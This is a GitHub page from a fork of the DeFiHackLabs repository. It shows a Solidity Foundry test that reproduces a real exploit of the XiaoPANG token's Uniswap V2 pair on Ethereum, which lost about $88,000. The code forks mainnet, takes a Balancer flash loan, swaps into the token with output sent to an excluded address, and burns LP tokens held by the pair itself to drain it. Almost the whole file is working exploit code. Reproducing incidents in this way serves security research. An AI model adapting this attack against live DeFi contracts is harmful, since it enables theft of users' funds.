forked from SunWeb3Sec/DeFiHackLabs
-
Notifications
You must be signed in to change notification settings - Fork 0
/
XiaoPANG_exp.sol
69 lines (57 loc) · 2.49 KB
/
XiaoPANG_exp.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.15;
import "../basetest.sol";
import "./../interface.sol";
// @KeyInfo - Total Lost : 87,906.71$
// Attacker : https://etherscan.io/address/0x43dEbe92A7A32DCa999593fAd617dBD2e6b080a5
// Attack Contract : https://etherscan.io/address/0xF9729aA0aFEE571E3437528a7e4757FC56407C11
// Vulnerable Contract : https://etherscan.io/address/0x15AD98ed61Ea3922b08dD1990dd4CF7f69489745
// Attack Tx : https://etherscan.io/tx/0x6cc9d3c00bf784442ca89388f42c1ed5e9284235e93f00ef6bd299760e559ccf
// @Info
// Vulnerable Contract Code : https://etherscan.io/address/0x15AD98ed61Ea3922b08dD1990dd4CF7f69489745#code
// @Analysis
// Post-mortem :
// Twitter Guy :
// Hacking God :
pragma solidity ^0.8.5;
contract XiaoPANGExploit is BaseTestWithBalanceLog {
address uniV2Pair = 0x15AD98ed61Ea3922b08dD1990dd4CF7f69489745;
address balancerVault = 0xBA12222222228d8Ba445958a75a0704d566BF2C8;
address uniV2Router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
address vulnToken;
address WETH;
address excludedTargetAddr = 0xb91060B06DCB9b8D16639C72E99DcaF44610079B;
uint256 flashAmt = 1000 ether;
IUniswapV2Pair pair = IUniswapV2Pair(uniV2Pair);
IBalancerVault balancer = IBalancerVault(balancerVault);
Uni_Router_V2 Router = Uni_Router_V2(uniV2Router);
function setUp() public {
vm.createSelectFork(
"mainnet", vm.parseBytes32("0x6cc9d3c00bf784442ca89388f42c1ed5e9284235e93f00ef6bd299760e559ccf")
);
vulnToken = pair.token0();
fundingToken = pair.token1();
WETH = fundingToken;
IERC20(WETH).approve(uniV2Router, flashAmt);
}
function testExploit() public balanceLog {
address[] memory tokens = new address[](1);
tokens[0] = address(WETH);
uint256[] memory amounts = new uint256[](1);
amounts[0] = flashAmt;
balancer.flashLoan(address(this), tokens, amounts, "");
}
function getPath() internal view returns (address[] memory path) {
path = new address[](2);
path[0] = WETH;
path[1] = vulnToken;
}
function receiveFlashLoan(address[] memory, uint256[] memory, uint256[] memory, bytes memory) external {
Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
flashAmt, 0, getPath(), excludedTargetAddr, block.timestamp
);
require(pair.balanceOf(uniV2Pair) > 0, "INSUFFICIENTLP");
pair.burn(address(this));
IERC20(WETH).transfer(msg.sender, flashAmt);
}
}